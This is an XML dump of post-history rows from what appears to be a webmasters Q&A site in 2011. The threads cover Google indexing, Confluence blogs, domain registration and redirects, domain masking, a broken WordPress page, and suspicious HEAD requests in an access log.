  <row Id="14990" PostHistoryTypeId="2" PostId="7416" RevisionGUID="3c3e000d-b993-4c92-a5d4-1303b9d1ad9b" CreationDate="2011-01-06T16:32:37.283" UserDisplayName="JP19" Text="I have had similar experience, and with me it turned out to be:&#xD;&#xA;&#xD;&#xA;1) The google results in my country's version google.co.in were not updated. I think the results on google.com were up to date with the cache. If you are not already on google.com but your country specific version, do check the .com version (on main google page, there would be link go to google.com).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2) Once there was a confusion because I think google cache loads javascripts directly from the website (not cached) and hence I was seeing some instant changes on the cached page. Again I don't remember exactly and this definitely doesn't look like the case with you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Honestly I didn't bother much as its only a matter of time before the results should be updated - but ya, I was surprised too." />
  <row Id="14991" PostHistoryTypeId="2" PostId="7417" RevisionGUID="88460981-c92d-4032-8297-b6f2e5a84d0f" CreationDate="2011-01-06T16:33:52.460" UserDisplayName="wohoo" Text="sometimes you have to wait. One thing is getting cached and another one is getting indexed. And the way is showing in the search results is the way your page got indexed, so i would give it sometime, however, Google might be also pulling data from Dmoz or another important source. " />
  <row Id="14992" PostHistoryTypeId="17" PostId="7419" RevisionGUID="81d9dbef-b230-4c21-89a3-03d00bfde37f" CreationDate="2011-01-06T17:37:54.497" UserId="-1" Comment="from http://stackoverflow.com/questions/4546100/blogs-in-confluence/4583417#4583417" Text="" />
  <row Id="14993" PostHistoryTypeId="17" PostId="7420" RevisionGUID="7fee9601-06db-4f62-9af9-4c4b11a4c04d" CreationDate="2011-01-06T17:37:54.497" UserId="-1" Comment="from http://stackoverflow.com/questions/4546100/blogs-in-confluence/4617290#4617290" Text="" />
  <row Id="14994" PostHistoryTypeId="2" PostId="7419" RevisionGUID="db0ebdb7-f4f3-41b6-a51e-ddb0c4f74efc" CreationDate="2011-01-03T09:37:54.583" UserDisplayName="Waxolunist" Text="The only way imho to fulfil your first request is to create personal spaces. There people can start their own blog.&#xD;&#xA;The only way to accumulate those blogs into one space would be to include the pages of a space with the include tag or copy the content of it in the new space with &quot;Content Publishing Plugin&quot; or &quot;Copy Space Plugin&quot; or &quot;Copy Partial Space Plugin&quot;, if you don't mind of duplicate entries.&#xD;&#xA;" />
  <row Id="14995" PostHistoryTypeId="2" PostId="7420" RevisionGUID="d1e12ce9-6953-480a-97fd-b854a71ab22d" CreationDate="2011-01-06T16:43:00.827" UserDisplayName="dvb" Text="1. [Set up a Personal Space](http://confluence.atlassian.com/display/DOC/Setting+up+your+Personal+Space) for each individual  &#xD;&#xA;2. I'm not sure what you want.&#xD;&#xA;    1. If you want actual multiple blogs in the same space it's impossible, but the solution will be to use one of the following macros (depends on the amount of customization you need):&#xD;&#xA;        1. [Content by Label {contentbylabel}](http://confluence.atlassian.com/display/DOC/Content+by+Label+Macro)&#xD;&#xA;        2. [{blog-list}](http://www.adaptavist.com/display/builder/blog-list+macro)&#xD;&#xA;        3. [{blog-archive}](http://www.adaptavist.com/display/builder/blog-archive+macro)&#xD;&#xA;&#xD;&#xA;    2. If you want the personal blogs to be merged into a space blog, I would use the [Content Publishing Plugin](https://studio.plugins.atlassian.com/wiki/display/CCPP/Confluence+Content+Publishing+Plugin) with the {publish-page} macro.&#xD;&#xA;    3. If you just want also a blog per space it's already possible out of the box:  &#xD;&#xA;`You can publish a blog post from any space in Confluence, provided you have permission.` - quoted from [Working with Blog Posts](http://confluence.atlassian.com/display/DOC/Working+with+Blog+Posts)" />
  <row Id="14996" PostHistoryTypeId="2" PostId="7418" RevisionGUID="caa5375d-6aae-436a-838c-bbdc1684f569" CreationDate="2010-12-28T12:40:27.200" UserDisplayName="Nikhil" Text="I would like to do the following in confluence:&#xD;&#xA;&#xD;&#xA; 1. Have one blog per individual (not associated with particular space). &#xD;&#xA; 2. Have a set of blogs associated with a space such that anybody who had access to that space could post to them.&#xD;&#xA;&#xD;&#xA;Is this possible? How do I do this?&#xD;&#xA;&#xD;&#xA; " />
  <row Id="14997" PostHistoryTypeId="1" PostId="7418" RevisionGUID="caa5375d-6aae-436a-838c-bbdc1684f569" CreationDate="2010-12-28T12:40:27.200" UserDisplayName="Nikhil" Text="Blogs in Confluence " />
  <row Id="14998" PostHistoryTypeId="3" PostId="7418" RevisionGUID="caa5375d-6aae-436a-838c-bbdc1684f569" CreationDate="2010-12-28T12:40:27.200" UserDisplayName="Nikhil" Text="&lt;confluence&gt;" />
  <row Id="14999" PostHistoryTypeId="17" PostId="7418" RevisionGUID="112aa808-4385-44c1-b7ec-1bcf6ca2f70f" CreationDate="2011-01-06T17:37:54.497" UserId="-1" Comment="from http://stackoverflow.com/questions/4546100/blogs-in-confluence" Text="" />
  <row Id="15000" PostHistoryTypeId="2" PostId="7421" RevisionGUID="f179fcc4-c859-497d-a0e4-75e2aa586428" CreationDate="2011-01-06T18:27:15.430" UserId="4410" Text="I came across a similar issue when I noticed that having spent all of my time building links and reputation around my business name ([ArcticLlama Freelance Writing][1]) that I didn't rank anywhere for my actual name (Brian Nelson -- see brianenelson.com). &#xD;&#xA;&#xD;&#xA;I built a second website and linked to it a lot from my business site with the anchor text of my name. That was all it took to at least show up in the rankings. (It's a common name, there is no need to rank #1. If someone is looking for Brian Nelson the writer, they'll find me as long as I'm somewhere in the first page or two. -- After that, I took some time and built some other links. At last check I was #11 for just Brian Nelson and #2 for Brian Nelson writer, which is pretty good since the #1 page is for a screenwriter on IMDB.com)&#xD;&#xA;&#xD;&#xA;Since you are trying to rank for your own site name, a second website doesn't make sense, however a few tweaks on your own website might be enough to get ranked &quot;good enough&quot; for your own website name.&#xD;&#xA;&#xD;&#xA;Assuming your site design allows for it, change the link to your home page (which is typically labeled &quot;Home&quot;) to the name of your website. If not, add a link in your sidebar or footer that links to your website with the name of your site. Doing so gives you hundreds (or thousands) of backlinks to your website with the name as the anchor text. While all of those links will come from your own domain, and thus not count the same as more varied links, it will probably be enough to push your site up for its own name past many of the sites that now accidentally outrank you.&#xD;&#xA;&#xD;&#xA;Secondly, be sure that your site's name shows up in the Title tag of each page even if it is at the end, and even if it is past whatever magic character count people say Google limits to. After link counting, nothing matters more to Google than what is in the title tag. A title tag like &quot;New Amazing Sports Stuff - The Sports Website&quot; can do wonders.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arcticllama.com" />
  <row Id="15001" PostHistoryTypeId="2" PostId="7422" RevisionGUID="56bc862d-bd7b-41f1-baf7-6a507ba0adb3" CreationDate="2011-01-06T18:31:49.073" UserId="4410" Text="Find out for sure whether it is the JavaScript by installing a script blocking plugin on Firefox. If the page is zippy to load when the script is blocked, then you know for sure.&#xD;&#xA;&#xD;&#xA;If so, the hard reality is that all browsers handle good JavaScript pretty well. That means it's time to re-do or optimize the JavaScript on the site." />
  <row Id="15002" PostHistoryTypeId="2" PostId="7423" RevisionGUID="a4db18cb-8774-4a08-9f55-5ddcfb4a0686" CreationDate="2011-01-06T18:43:58.887" UserId="4410" Text="Pageviews and visits are different measurements, so there is no exact one to one relationship. Furthermore, when any stat gathering service counts a pageview or a visit can vary. (Does a page view count when any part of the page loads, or only after the whole page loads, or does 50% have to load, etc. Same thing for visits.)&#xD;&#xA;&#xD;&#xA;IF (and and that is a big IF) both stats are measured the same, then each visit generates one initial page view. Then, 54 percent of them bounce. Most likely, they leave your website altogether. The remaining 46% are the ones who generate most of the rest of the pageviews. (Users who bounce usually bounce away. Users who don't bounce are more likely to view another page.)&#xD;&#xA;&#xD;&#xA;So, one could infer an approximation from your statistics that 30,000 people (or bots that look like people) generate 30,000 page views. Then, 54% (16,200) people bounce back to Google or whence they came, and the remaining 46% (14,800) people go on to view an average of 3.78 pages each.&#xD;&#xA;&#xD;&#xA;Your Alexa ranking **is relative** to other sites, so if other sites are getting more than 86,000 page views your ranking will be dropping even if your stats stay the same.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15003" PostHistoryTypeId="2" PostId="7424" RevisionGUID="d814f740-910f-4601-b336-1ba3887fee95" CreationDate="2011-01-06T18:44:22.857" UserDisplayName="Sanjay Gupta" Text="I need to register new domain name. I gone through many sites. All sites are showing different prices. Lowest price (99/- Rs) I found on http://www.bigrock.in/. On other sites, like GoDaddy or rackspace, its showing more than 600/- Rs. &#xD;&#xA;&#xD;&#xA;Why are these price differences? Are there any differences in services, up time, security? Is it safe to register at bigrock?" />
  <row Id="15004" PostHistoryTypeId="1" PostId="7424" RevisionGUID="d814f740-910f-4601-b336-1ba3887fee95" CreationDate="2011-01-06T18:44:22.857" UserDisplayName="Sanjay Gupta" Text="New Domain Registration - Price differences" />
  <row Id="15005" PostHistoryTypeId="3" PostId="7424" RevisionGUID="d814f740-910f-4601-b336-1ba3887fee95" CreationDate="2011-01-06T18:44:22.857" UserDisplayName="Sanjay Gupta" Text="&lt;domain-registration&gt;" />
  <row Id="15006" PostHistoryTypeId="2" PostId="7425" RevisionGUID="66283816-1e59-4623-ab51-814bde8b7907" CreationDate="2011-01-06T18:52:01.343" UserDisplayName="GyroC" Text="If I own example.org, example.com, example.net, and want visiters to view the same site no matter what address they go to, should I redirect two of the addresses to the third, or simply serve up the site without redirection regardless of the addresses used?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15007" PostHistoryTypeId="1" PostId="7425" RevisionGUID="66283816-1e59-4623-ab51-814bde8b7907" CreationDate="2011-01-06T18:52:01.343" UserDisplayName="GyroC" Text="Should I redirect my domains to the same address?" />
  <row Id="15008" PostHistoryTypeId="3" PostId="7425" RevisionGUID="66283816-1e59-4623-ab51-814bde8b7907" CreationDate="2011-01-06T18:52:01.343" UserDisplayName="GyroC" Text="&lt;redirects&gt;" />
  <row Id="15009" PostHistoryTypeId="2" PostId="7426" RevisionGUID="5b358911-7b60-4bb2-ac44-d259739ec65f" CreationDate="2011-01-06T19:24:01.183" UserId="1253" Text="Use one domain as a primary domain and redirect the other two to it. Otherwise, besides confusing your users, you will incur duplicate content penalties from Google which obviously are not a good thing." />
  <row Id="15010" PostHistoryTypeId="2" PostId="7427" RevisionGUID="243a8c4c-947b-410b-9a30-7045192555e2" CreationDate="2011-01-06T20:01:49.137" UserId="59" Text="What exactly is the domain name &quot;masking&quot; or &quot;cloaking&quot; offered by some hosting companies, (as opposed to redirection), and what are the various reasons it should be avoided when setting up a new web site &quot;on the cheap&quot;?&#xD;&#xA;" />
  <row Id="15011" PostHistoryTypeId="1" PostId="7427" RevisionGUID="243a8c4c-947b-410b-9a30-7045192555e2" CreationDate="2011-01-06T20:01:49.137" UserId="59" Text="What is domain &quot;masking&quot; or &quot;cloaking&quot;?  Why should it be avoided for a new web site?" />
  <row Id="15012" PostHistoryTypeId="3" PostId="7427" RevisionGUID="243a8c4c-947b-410b-9a30-7045192555e2" CreationDate="2011-01-06T20:01:49.137" UserId="59" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;redirects&gt;&lt;cloaking&gt;&lt;masking&gt;" />
  <row Id="15013" PostHistoryTypeId="2" PostId="7428" RevisionGUID="38ca19ac-9976-4a05-8744-8c97b6b359f0" CreationDate="2011-01-06T20:25:49.907" UserId="1253" Text="[Domain masking][1]&#xD;&#xA;&#xD;&#xA;It's bad for SEO because search engines don't like frames if that option is used. Also, the URL never changes in the user's address bar so it can be very confusing to users trying bookmark or reference inner pages in your site.&#xD;&#xA;&#xD;&#xA;If you use two different domains for the same website, which is another way to do it, then you run into duplicate content issues and penalties with the search engines and, once again, potentially confuse your users.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Domain_Masking" />
  <row Id="15014" PostHistoryTypeId="2" PostId="7429" RevisionGUID="94cfe320-7fda-434c-8c9b-a6c7b465bcc5" CreationDate="2011-01-06T21:12:22.447" UserId="4329" Text="I've seen a lot of sites with tiny 't' and 'f' logos for Facebook and Twitter.  They're pretty common, but the only images I can find available are for paid icon sets.&#xD;&#xA;&#xD;&#xA;Are people really using custom icons for these or are Facebook and Twitter offering official ones somewhere on their websites?" />
  <row Id="15015" PostHistoryTypeId="1" PostId="7429" RevisionGUID="94cfe320-7fda-434c-8c9b-a6c7b465bcc5" CreationDate="2011-01-06T21:12:22.447" UserId="4329" Text="Where do I get the standard, tiny Facebook and Twitter icons?" />
  <row Id="15016" PostHistoryTypeId="3" PostId="7429" RevisionGUID="94cfe320-7fda-434c-8c9b-a6c7b465bcc5" CreationDate="2011-01-06T21:12:22.447" UserId="4329" Text="&lt;images&gt;&lt;facebook&gt;&lt;twitter&gt;" />
  <row Id="15017" PostHistoryTypeId="2" PostId="7430" RevisionGUID="aa42861b-cc54-4c12-aa43-2a91a7d42fa5" CreationDate="2011-01-06T21:16:24.123" UserId="2739" Text="I have a blog installed on my site using Wordpress. Last week I upgraded Wordpress from 2.6 to 3.0.4 (I had to do this manually).&#xD;&#xA;&#xD;&#xA;All went well, or so I thought, but I have just noticed that the content of an existing *page* has vanished.  The page URL still works, but all content has disappeared - doctype, html tags, body tags, everything.&#xD;&#xA;&#xD;&#xA;Please note, this is specific to **pages** - posts are still displaying fine.&#xD;&#xA;&#xD;&#xA;I have since created a brand new page which does not display the content either.&#xD;&#xA;&#xD;&#xA;Things I have tried include&#xD;&#xA;&#xD;&#xA; - Switching to a freshly installed theme&#xD;&#xA; - Deactivating all plugins&#xD;&#xA; - Setting the problem page to draft, and back again&#xD;&#xA; - Deleting the .htaccess file&#xD;&#xA;&#xD;&#xA;I suspect it's a database problem and have contacted my hosting company who have said the only thing they can do is restore the DB from a backup, but that I should consider it a last resort.&#xD;&#xA;&#xD;&#xA;Does anyone have any further ideas what to try?" />
  <row Id="15018" PostHistoryTypeId="1" PostId="7430" RevisionGUID="aa42861b-cc54-4c12-aa43-2a91a7d42fa5" CreationDate="2011-01-06T21:16:24.123" UserId="2739" Text="The entire content of my Wordpress page has disappeared" />
  <row Id="15019" PostHistoryTypeId="3" PostId="7430" RevisionGUID="aa42861b-cc54-4c12-aa43-2a91a7d42fa5" CreationDate="2011-01-06T21:16:24.123" UserId="2739" Text="&lt;wordpress&gt;&lt;content&gt;&lt;page&gt;" />
  <row Id="15020" PostHistoryTypeId="2" PostId="7431" RevisionGUID="e0e2a69d-99af-48db-a42d-90ad2670d6bb" CreationDate="2011-01-06T21:37:06.817" UserDisplayName="Fabian" Text="First few google hits for &quot;twitter logo&quot; and &quot;facebook&quot; logo are successful:&#xD;&#xA;&#xD;&#xA;http://www.facebook.com/brandpermissions/logos.php&#xD;&#xA;http://twitter.com/about/resources/logos&#xD;&#xA;&#xD;&#xA;The twitter &quot;t&quot; should not be used anymore and be replaced with the bird. Like it or not, it's the new official one." />
  <row Id="15021" PostHistoryTypeId="2" PostId="7432" RevisionGUID="653f78e3-21b2-4e3e-927a-27fa1041b801" CreationDate="2011-01-06T22:27:48.673" UserId="4421" Text="Given the tech knowledge you have, I'd definitely recommend you take a look at [Umbraco CMS][1]. It's a free CMS built on .net C#. Very extensible with a lot of modules out there. It will also let your friends easily control the content post-deployment. You'll get security etc all out of the box. Save yourself heaps of time. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://umbraco.org/" />
  <row Id="15022" PostHistoryTypeId="2" PostId="7433" RevisionGUID="721740ed-9747-466a-8919-e921c6f937ac" CreationDate="2011-01-06T22:46:37.320" UserId="3707" Text="I highly suggest you register at Godaddy for $7.49 or change that to R's, using http://instantdomainsearch.com/ . You can manage your domains and many things. &#xD;&#xA;&#xD;&#xA;I've never heard of bigrock.&#xD;&#xA;&#xD;&#xA;my 2 cents" />
  <row Id="15023" PostHistoryTypeId="2" PostId="7434" RevisionGUID="ef40a624-c094-4b2d-8635-3afcf0cef42a" CreationDate="2011-01-06T23:19:59.307" UserId="3707" Text="When you are Domain masking you are hiding the actual URL/domain from the user. This is not good either for your users or search engines because you are putting on a mask not showing the 'real face'. Also as john said bots will treat your site like a duplicate content farm.&#xD;&#xA;Which is no good.&#xD;&#xA;&#xD;&#xA;Cloaking on the other hand is a balck hat SEO tactic. It can get you in a lot of trouble if you get caught. Either way don't do it. think longterm. Cloaking is providing different content to your users and different content to search spiders. Which you can simply use the ip adresses of the search engines to manipulate. But both of them are a poison for a website. good luck&#xD;&#xA;&#xD;&#xA;more here http://en.wikipedia.org/wiki/Cloaking&#xD;&#xA; http://en.wikipedia.org/wiki/Domain_Masking&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;my 2 cents" />
  <row Id="15024" PostHistoryTypeId="2" PostId="7435" RevisionGUID="59461e85-aa9f-4e6f-a821-b930670e4c8d" CreationDate="2011-01-07T00:43:05.603" UserDisplayName="Don Corley" Text="My access log on my web server has a ton of http HEAD requests coming from porn sites.&#xD;&#xA;What are HEAD requests and are they doing something bad with my site?&#xD;&#xA;Here is an excerpt from my log:&#xD;&#xA;&#xD;&#xA;(valid request)&#xD;&#xA;96.251.177.249 - - [02/Jan/2011:23:42:25 -0800] &quot;POST /ajax HTTP/1.1&quot; 200 0 &quot;http://www.mywebsite.com/abc.html&quot; &quot;Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7&quot;&#xD;&#xA;80.153.114.208 - - [02/Jan/2011:23:43:11 -0800] &quot;HEAD / HTTP/1.0&quot; 302 185 &quot;http://www.somepornsite.com&quot; &quot;Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8&quot;&#xD;&#xA;80.153.114.208 - - [02/Jan/2011:23:43:11 -0800] &quot;HEAD /tourappxsl HTTP/1.0&quot; 200 16871 &quot;http://www.somepornsite.com&quot; &quot;Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8&quot;&#xD;&#xA;&#xD;&#xA;I changed only the web addresses in this log.&#xD;&#xA;&#xD;&#xA;Thanks for any ideas,&#xD;&#xA;&#xD;&#xA;Don&#xD;&#xA;" />
  <row Id="15025" PostHistoryTypeId="1" PostId="7435" RevisionGUID="59461e85-aa9f-4e6f-a821-b930670e4c8d" CreationDate="2011-01-07T00:43:05.603" UserDisplayName="Don Corley" Text="Lots of http HEAD requests originating from porn sites" />
  <row Id="15026" PostHistoryTypeId="3" PostId="7435" RevisionGUID="59461e85-aa9f-4e6f-a821-b930670e4c8d" CreationDate="2011-01-07T00:43:05.603" UserDisplayName="Don Corley" Text="&lt;http&gt;" />
  <row Id="15027" PostHistoryTypeId="2" PostId="7436" RevisionGUID="fb4dc974-a13b-48e8-be67-77b28ec5f115" CreationDate="2011-01-07T00:58:00.620" UserId="1064" Text="Most likely attempts at [referrer spam][1], but these could also be malicious (i.e. [remote file inclusion][2] attempts or contact form spam - particularly if you're running software which could be identified as vulnerable).&#xD;&#xA;&#xD;&#xA;If possible, set up a script to log the post contents to see exactly what you're dealing with and get in touch with the ISP's hosting the domain(s) in question (particularly if this activity is adversely affecting your operation).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Referrer_spam&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Remote_file_inclusion" />
  <row Id="15028" PostHistoryTypeId="2" PostId="7437" RevisionGUID="4f1c1413-2029-4de7-97aa-7bab4c531d21" CreationDate="2011-01-07T00:59:30.993" UserId="4424" Text="I have been talking with a domain name holder, and he has agreed to sell me one of his domains. He said he will transfer the domain to my name with godaddy (I will register for an account with godaddy first). How should I process the payment so that neither party (me or him) is at risk of fraud? TIA! " />
  <row Id="15029" PostHistoryTypeId="1" PostId="7437" RevisionGUID="4f1c1413-2029-4de7-97aa-7bab4c531d21" CreationDate="2011-01-07T00:59:30.993" UserId="4424" Text="How do I make a domain name transfer without dealing with an agent" />
  <row Id="15030" PostHistoryTypeId="3" PostId="7437" RevisionGUID="4f1c1413-2029-4de7-97aa-7bab4c531d21" CreationDate="2011-01-07T00:59:30.993" UserId="4424" Text="&lt;domain-names&gt;&lt;business&gt;" />
  <row Id="15031" PostHistoryTypeId="2" PostId="7438" RevisionGUID="6391fd26-0ead-4e6e-baae-f9c350db0fd6" CreationDate="2011-01-07T01:17:22.963" UserId="2707" Text="It doesn't matter where your `title` tag is in the `head`.&#xD;&#xA;&#xD;&#xA;It does matter where you declare you `charset` though. You must declare a `charset` before a certain amount of bits within an HTML document in order for it to be valid." />
  <row Id="15032" PostHistoryTypeId="2" PostId="7439" RevisionGUID="42295655-00a1-494b-9889-38d162924320" CreationDate="2011-01-07T01:03:57.390" UserDisplayName="janet" Text="I'm thinking about joining them but I don't want to get burned. http://www.dwhs.net" />
  <row Id="15033" PostHistoryTypeId="1" PostId="7439" RevisionGUID="42295655-00a1-494b-9889-38d162924320" CreationDate="2011-01-07T01:03:57.390" UserDisplayName="janet" Text="Is DWHS a good web hosting company?" />
  <row Id="15034" PostHistoryTypeId="3" PostId="7439" RevisionGUID="42295655-00a1-494b-9889-38d162924320" CreationDate="2011-01-07T01:03:57.390" UserDisplayName="janet" Text="&lt;web-hosting&gt;" />
  <row Id="15035" PostHistoryTypeId="17" PostId="7439" RevisionGUID="b2deaa07-b492-4ab5-a113-4fd617c30036" CreationDate="2011-01-07T01:34:49.830" UserId="-1" Comment="from http://stackoverflow.com/questions/4621620/is-dwhs-a-good-web-hosting-company" Text="" />
  <row Id="15036" PostHistoryTypeId="2" PostId="7440" RevisionGUID="8eac2c6c-5418-4b1d-b845-18d16db0100a" CreationDate="2011-01-07T02:01:25.567" UserId="1455" Text="I installed the Facebook Like button Javascript version on my website on December 15th. &#xD;&#xA;Take a look at this report from Google Webmaster Central.    &#xD;&#xA;&#xD;&#xA;Crawl stats&#xD;&#xA;Googlebot activity in the last 90 days&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/EXluf.png&#xD;&#xA;&#xD;&#xA;The crawl stats are from Googlebot which as far as I know doesn't execute Javascript. Could the Facebook Like Javascript code, &quot;The XFBML version&quot; be related to large spike in Time spent downloading a page?&#xD;&#xA;(By the way the huge spike in November was caused by a mistake where every image request was getting a 301.)   &#xD;&#xA;I'm not sure what caused the spike to go down by half somewhere in December. It may have been related to a faulty setting in web.config. I'm at a loss as to what I can do about this or even how to tell if this is my problem or Googlebots crawl problem.&#xD;&#xA;&#xD;&#xA;Here is the &lt;a href=&quot;http://developers.facebook.com/docs/reference/javascript/fb.init/&quot;&gt;Facebook code&lt;/a&gt; I am using to create the like button. It is right after the opening body tag&#xD;&#xA;    `&lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;  &#xD;&#xA;    &lt;script&gt;&#xD;&#xA;  window.fbAsyncInit = function() {&#xD;&#xA;    FB.init({appId: 'xxxxx', status: true, cookie: true,&#xD;&#xA;             xfbml: true});   };   &#xD;&#xA;  (function() {&#xD;&#xA;    var e = document.createElement('script'); e.async = true;&#xD;&#xA;    e.src = document.location.protocol +&#xD;&#xA;      '//connect.facebook.net/en_US/all.js';&#xD;&#xA;    document.getElementById('fb-root').appendChild(e);&#xD;&#xA;    `}());`&#xD;&#xA;    `&lt;/script&gt;`&#xD;&#xA;&#xD;&#xA;and this creates the like box:     &#xD;&#xA;`&lt;fb:like show_faces=&quot;false&quot;&gt;&lt;/fb:like&gt;`&#xD;&#xA;&#xD;&#xA;If the Javascript can't be the problem any ideas on where to start looking would be appreciated.&#xD;&#xA;   " />
  <row Id="15037" PostHistoryTypeId="1" PostId="7440" RevisionGUID="8eac2c6c-5418-4b1d-b845-18d16db0100a" CreationDate="2011-01-07T02:01:25.567" UserId="1455" Text="Facebook Like javascript related to Time Spent Downloading a page Increase in GWT? " />
  <row Id="15038" PostHistoryTypeId="3" PostId="7440" RevisionGUID="8eac2c6c-5418-4b1d-b845-18d16db0100a" CreationDate="2011-01-07T02:01:25.567" UserId="1455" Text="&lt;facebook&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="15039" PostHistoryTypeId="2" PostId="7441" RevisionGUID="bccf7cc8-e4c6-422f-b82c-cb125ce5c840" CreationDate="2011-01-07T02:06:09.163" UserId="3707" Text="btw you should put the facebook code just before the closing or body tag not opening. I do not believe this will cause a significant slowness. I use this and it had not slowed my sites. you might want to check something else in your code. you can paste a url for us to see." />
  <row Id="15040" PostHistoryTypeId="2" PostId="7442" RevisionGUID="8431551b-63ee-4ad3-a6a7-4113e14aaa72" CreationDate="2011-01-07T02:27:32.347" UserDisplayName="JP19" Text="Godaddy has an internal facility to &quot;push&quot; domains to other accounts. Its there in the domain manager (and free of cost)." />
  <row Id="15041" PostHistoryTypeId="5" PostId="7435" RevisionGUID="4b5084b1-ae98-45c3-87d2-ebe4a365e0bb" CreationDate="2011-01-07T04:10:58.043" UserId="138" Comment="added 11 characters in body" Text="My access log on my web server has a ton of http HEAD requests coming from porn sites.&#xD;&#xA;What are HEAD requests and are they doing something bad with my site?&#xD;&#xA;Here is an excerpt from my log:&#xD;&#xA;&#xD;&#xA;(valid request)&#xD;&#xA;&lt;pre&gt;96.251.177.249 - - [02/Jan/2011:23:42:25 -0800] &quot;POST /ajax HTTP/1.1&quot; 200 0 &quot;http://www.mywebsite.com/abc.html&quot; &quot;Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7&quot;&#xD;&#xA;80.153.114.208 - - [02/Jan/2011:23:43:11 -0800] &quot;HEAD / HTTP/1.0&quot; 302 185 &quot;http://www.somepornsite.com&quot; &quot;Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8&quot;&#xD;&#xA;80.153.114.208 - - [02/Jan/2011:23:43:11 -0800] &quot;HEAD /tourappxsl HTTP/1.0&quot; 200 16871 &quot;http://www.somepornsite.com&quot; &quot;Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8&quot;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I changed only the web addresses in this log.&#xD;&#xA;&#xD;&#xA;Thanks for any ideas,&#xD;&#xA;&#xD;&#xA;Don&#xD;&#xA;" />
  <row Id="15042" PostHistoryTypeId="2" PostId="7443" RevisionGUID="87e0d23b-9ded-4a7b-96fc-43f76a030a85" CreationDate="2011-01-07T05:05:27.533" UserId="513" Text="So I have had a website since about 2006. It's http://earlz.biz.tm . Recently I've noticed that no results will show up for it in google. I do have a secondary domain(that I plan on getting rid of) pointing to it but I don't understand why google would suddenly not show my site.&#xD;&#xA;&#xD;&#xA;I believe it was showing up a few months ago and my website is hardly ever down, like one or two days I believe has been the most it's been down in a row in this time period. &#xD;&#xA;&#xD;&#xA;Is there something wrong with my DNS or other configuration that would make google not index me? &#xD;&#xA;&#xD;&#xA;For reference I've tried:&#xD;&#xA;&#xD;&#xA;[earlz.biz.tm][1]&#xD;&#xA;&#xD;&#xA;[site:earlz.biz.tm][2]&#xD;&#xA;&#xD;&#xA;and the heading from my site [&quot;Earlz.biz.tm -- The reasoning is bacon&quot;][3]&#xD;&#xA;&#xD;&#xA;A few show up with the therusticstone.com domain(the one I plan to point somewhere else) but none show up directly linking to earlz.biz.tm. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/#sclient=psy&amp;hl=en&amp;site=&amp;source=hp&amp;q=earlz.biz.tm&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=9bef8cda26d1a6ec&#xD;&#xA;  [2]: http://www.google.com/#sclient=psy&amp;hl=en&amp;q=site:earlz.biz.tm&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=9bef8cda26d1a6ec&#xD;&#xA;  [3]: http://www.google.com/#sclient=psy&amp;hl=en&amp;site=&amp;source=hp&amp;q=%22Earlz.biz.tm+--+The+reasoning+is+bacon+%22&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=9bef8cda26d1a6ec" />
  <row Id="15043" PostHistoryTypeId="1" PostId="7443" RevisionGUID="87e0d23b-9ded-4a7b-96fc-43f76a030a85" CreationDate="2011-01-07T05:05:27.533" UserId="513" Text="Why does my domain not show up in Google anymore?" />
  <row Id="15044" PostHistoryTypeId="3" PostId="7443" RevisionGUID="87e0d23b-9ded-4a7b-96fc-43f76a030a85" CreationDate="2011-01-07T05:05:27.533" UserId="513" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="15046" PostHistoryTypeId="2" PostId="7445" RevisionGUID="4d4e4017-b8f8-4ec5-8789-83f3082e5440" CreationDate="2011-01-07T05:19:53.090" UserId="3707" Text="well you're not no-following or disallowing in robots.txt so I'm going to go ahead and assume that you're site is probably flagged for may be spam.&#xD;&#xA;&#xD;&#xA;But your best bet is to try and resubmit your site to google and link to your site from other sites and wait a couple days. Also if you think there might be some spammy or blackhat stuff in your site, remove it. I know you don't.&#xD;&#xA;&#xD;&#xA;Also use google's own webmaster tools, verify your site.&#xD;&#xA;&#xD;&#xA;It should tell you what is up.&#xD;&#xA;&#xD;&#xA;good luck&#xD;&#xA;use these links below.&#xD;&#xA;to submit http://www.google.com/addurl/?continue=/addurl&#xD;&#xA;&#xD;&#xA;google webmaster tools http://www.google.com/webmasters/tools/" />
